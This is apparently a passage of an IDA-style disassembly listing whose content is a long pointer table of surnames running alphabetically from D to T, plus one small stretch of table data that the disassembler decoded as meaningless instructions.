		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
; ---------------------------------------------------------------------------


loc_42E3C8:				; CODE XREF: ___:loc_42E3C8j
		js	short loc_42E3C8
		inc	edx
		add	[esi+edi*8+42h], ch
		add	[eax-2], ah
		inc	edx
		add	[esi+edi*8+42h], dl
		add	[eax-2], cl
		inc	edx
		add	[esi+edi*8], bh
		inc	edx
		add	[esi+edi*8], dh
		inc	edx
		add	[esi+edi*8], ch
		inc	edx
		add	[esi+edi*8], ah
		inc	edx
		add	[esi+edi*8], bl
		inc	edx
		add	[esi+edi*8], dl
		inc	edx
		add	[esi+edi*8], al
		inc	edx
		add	ah, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	al, ch
		std
		inc	edx
		add	al, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[eax-4FFFBD03h], bh
		std
		inc	edx
		add	[ebp+edi*8-263FFBEh], ah
		inc	edx
		add	[eax-7BFFBD03h], dl
		std
		inc	edx
		add	[ebp+edi*8+42h], bh
		add	[eax-3], dh
		inc	edx
		add	[ebp+edi*8+42h], ah
		add	[ebp+edi*8+42h], bl
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	ds:0FD280042h[edi*8], dh
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	ds:0FD0C0042h[edi*8], dl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
